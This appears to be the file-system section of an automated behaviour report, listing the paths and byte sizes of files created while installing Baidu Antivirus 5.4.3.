%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BHipsCore.dll (259 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_schedule_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\LockFile.ico (122 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\main_icon_warning.png (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1087.MediaFinder.rul (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavTray\skin\black_pop_excluded.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\preicon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\bg\netshop_safetips.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BsrScan\BavBsr.dll (17629 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\8C8AEEC1-5166-4CE7-BBAD-7C37409D0C73\detailDef.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\icon\av_friend.png (20 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin.xml (64 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\investigate\skin\mainFrame_investigate_mini_layout2_slice.png (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1220.WonderBrowse.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\bluebg_checkbox_unsel_nor.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavBh.dll (315 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\investigate\skin\mainFrame_investigate_mini_layout1_slice.png (11 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\bhr.dat (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bdark.sys (601 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin\antivirus\ProcessCustomScan.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\current_scan.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\side_red_arrow_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin\antivirus\ProcessRightmenuScan.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\language.ini (84 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavAdvTools.dll (1669 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\red_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\checkbox_sel_nor.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BHFramework.dll (1832 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1258.moviestoolbar.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavTray\skin\dl_safe.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin\antivirus\guide_main_layout9_slice.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\ieprotect\skin\setbtn_on_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin\antivirus\offBtnNormal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\ieprotect\skin\setbtn_on_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1197.Desk365.rul (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavTray\skin\black_pop_suessfully.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\dottedLine.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\minD.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1224.Monetomi.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\scan_close_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin\antivirus\onBtnNormal.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1202.hqvideo.rul (11 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\checkbox\checkbox_nor_unknown.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin\antivirus\main_title_safe.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\button\gray_btn_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\apdext.dat (939 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Investigate.exe (7386 bytes)
%Documents and Settings%\All Users\Application Data\Baidu Security\Duplicaterecord.js (14 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\button\side_red_arrow_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\scrollbar\scroll.bmp (36 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\investigate_redhover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\side_green_arrow_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\menu\menu_icon_feedbackhover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_USBProtect\res\VirusList\skin\onaccess\listBg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\plmr.dat (10 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavUl.dll (7972 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\ieprotect\skin\lockOpen.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\engine\engineClickPop.png (860 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\SecurityCode\skin.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUpdater\skin\en_reboot_title.png (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\btnD.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1076.SavingsAddon.rul (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\arrowDownN.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\green_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\calender.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\investigate\skin\investigate_op_layout4_bg.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\icon\icon_tip_orange.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin\antivirus\ProcessQuickScan.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavTray\skin\black_pop_suessfully.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\menu_icon_feedbackhover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\ieprotect\skin\setbtn_off_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1251.freeonlineradioplayerrecorderdm.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\firsttips\tips_bg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1250.bsplayerb2.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin\antivirus\free.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\ieprotect\skin\setbtn_off_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin\antivirus\summary_top_safe_scanfinish.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\scan_arrow_over.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Trust\res\skin.xml (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\onaccess\oaIcon.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\tree\pop_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\mm.dat (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\wattingStatus.png (32 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_red.png (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\noteIco.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\green_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\Font\skin.xml (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin.xml (61 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin\bg170.png (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\BavToolsDefInfo.xml (17 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\engine\dLine.png (665 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\sysbutton\TopBtnSkin.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_createschtask.png (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\guide.close.down.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1083.PriceGong.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\bg\tips_bg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\language.ini (70 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_USBProtect\res\VirusList\skin\onaccess\usbIcon.png (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\ieprotect\skin\setbtn_off_normal.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa12.tmp (859621 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\scan_close_over.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\bg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin\antivirus\onBtnNormal.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\checkbox\checkbox_hot_unknown.png (14 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\Tuvaro.rul (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\investigate\skin\investigate_op_layout1_bg.png (45 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin\antivirus\GuideSlice_6.png (98 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavPluginRemove\skin.xml (37 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\firsttips\close_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\tools\tools_gray_cover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\vn.dat (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\set_tab_over.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\icon_note.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\onaccess\top_bg.png (622 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\rrg.dat (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin\antivirus\ProcessQuickScan.png (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\btn.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavTray\skin\dl_safe.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1259.rockturner.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\avira_engine_ico.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\closeN.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin\antivirus\guide_welcome.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BdApiUtil.dll (136 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\fs.dat (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\bg\msg_bg_blue_line.png (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\statusIcon.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\menu_icon_scanhover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\apden.dat (1641 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin\antivirus\guide_welcome.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\checkbox\onBtnNormal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\checkbox_unsel_nor.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\logo.png (27 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1104.SavepathDeals.rul (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin\antivirus\GuideSlice_7_ScanNow.png (38 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin\antivirus\offBtnHover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\cloud_engine_ico_gray.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1111.Vuze.rul (17 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\combobox\combobox_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_usb_normal.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\btnN.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\sysbutton\TopBtnMore.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_feedback\skin.xml (19 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\bg\msg_bg_blue_noline.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\investigate\skin\investigate_op_layout1_bg.png (44 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\tray_menu_bombtn_over.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin\antivirus\main_title_safe.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin\antivirus\main_title_unprotected.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\investigate\skin\mainFrame_investigate_mini_layout3_slice.png (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\investigate\skin\unloadInvestigateTitle.png (31 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\button\gray_btn_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin\antivirus\offBtnNormal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1122.Mysearchdial.rul (12 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\hips_traffic_icon.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavTray\skin\dl_threat.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin\antivirus\GuideSlice_6.png (94 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1121.KeyBar.rul (19 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\sysbutton\TopBtnMin.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1195.WProtectManager.rul (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\hips_traffic_arrow.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\feedback\skin.xml (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Uninstall.exe (7386 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\investigate_focus.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\bg\netshop_tray_bg.png (12 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin\antivirus\guide_main_layout9_slice.png (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\awhB.tmp (172 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\awhC.tmp (132657 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\09F68E66-0B2F-47f7-83AF-77569A4A63C1\ToolSummary\icon5N.png.7z (73 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\data\srslConfig.ini.7z (465 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\ToolSummary\gray_icon2.png.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\2015.06.24.63.FileList.xml (879 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\bdMiniDownloaderGB_BAV-Mini_32_1002.exe (6330 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\8C8AEEC1-5166-4CE7-BBAD-7C37409D0C73\ToolSummary\detail.xml.7z (855 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\639C9925-1C42-4236-991B-AEAB22353808\ToolSummary\detail.xml (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\8A73A249-C3BE-401A-8335-A832080931D3\ToolSummary\gray_icon.png.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\6BA17A92-4345-49c0-A228-A57C2E779055\ToolFileList.xml_check (73 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\ToolSummary\gray_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\BavBsReport.exe (1665 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\Plugins\IPlug_Scan\IPlug_Scan.dll (1185 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\BavDd.dll (4183 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\dbg64\dbghelp.dll (7379 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\8C8AEEC1-5166-4CE7-BBAD-7C37409D0C73\ToolFileList.xml (779 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\fa.dat.7z (2851 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\639C9925-1C42-4236-991B-AEAB22353808\ToolFileList.xml_check (851 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\BavBsReport.exe.7z (2051 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\ToolSummary\detail.xml.7z (898 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\tools_respond.xml (252 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\E839B20B-DE0B-461d-A3CD-769DFA88F488\ToolSummary\detail.xml.7z (713 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\sound\1046\1\BD_0.mp3 (48 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\sc.ini.7z (279 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\5DB281C3-B655-656A-01B6-E302199E376A\ToolSummary\detail.xml.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\3811A2B3-20AF-486d-81FA-8774762CC135\ToolSummary\gray_icon2.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\sound\1046\1\BD_7.mp3 (48 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\sound\1046\1\BD_0.mp3.7z (46 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\639C9925-1C42-4236-991B-AEAB22353808\ToolSummary\ALLICON_05.png.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\5DB281C3-B655-656A-01B6-E302199E376A\ToolSummary\gray_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\sound\1046\1\BD_8.mp3 (601 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\8C8AEEC1-5166-4CE7-BBAD-7C37409D0C73\ToolFileList.xml_check (851 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\09F68E66-0B2F-47f7-83AF-77569A4A63C1\ToolSummary\icon5G.png.7z (145 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\MicroSignMergeHistory.ini (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\ToolSummary\icon.png.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\FileList.xml (1633 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\5DB281C3-B655-656A-01B6-E302199E376A\ToolFileList.xml_check (73 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\3811A2B3-20AF-486d-81FA-8774762CC135\ToolSummary\gray_icon2.png.7z (73 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\ToolSummary\icon2.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update_statistic.xml (388 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\ToolSummary\icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\skin\plugins\Plugin_Settings\res\skin.xml (70 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\ToolSummary\icon.png.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\23A88272-3BEB-64D1-7DFB-470FD51F9BBA\ToolSummary\gray_icon2.png.7z (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\update\sound\1046\1\BD_9.mp3.7z (451 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\5DB281C3-B655-656A-01B6-E302199E376A\ToolSummary\gray_icon2.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\log\BavUpdater.log (4916 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\09F68E66-0B2F-47f7-83AF-77569A4A63C1\ToolSummary\icon2.png.7z (145 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\3811A2B3-20AF-486d-81FA-8774762CC135\ToolSummary\detail.xml (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ToolsUpdate\128B4BEC-5D89-43AD-BAA8-207084AA0E4F\ToolSummary\detail.xml.7z (1 bytes)
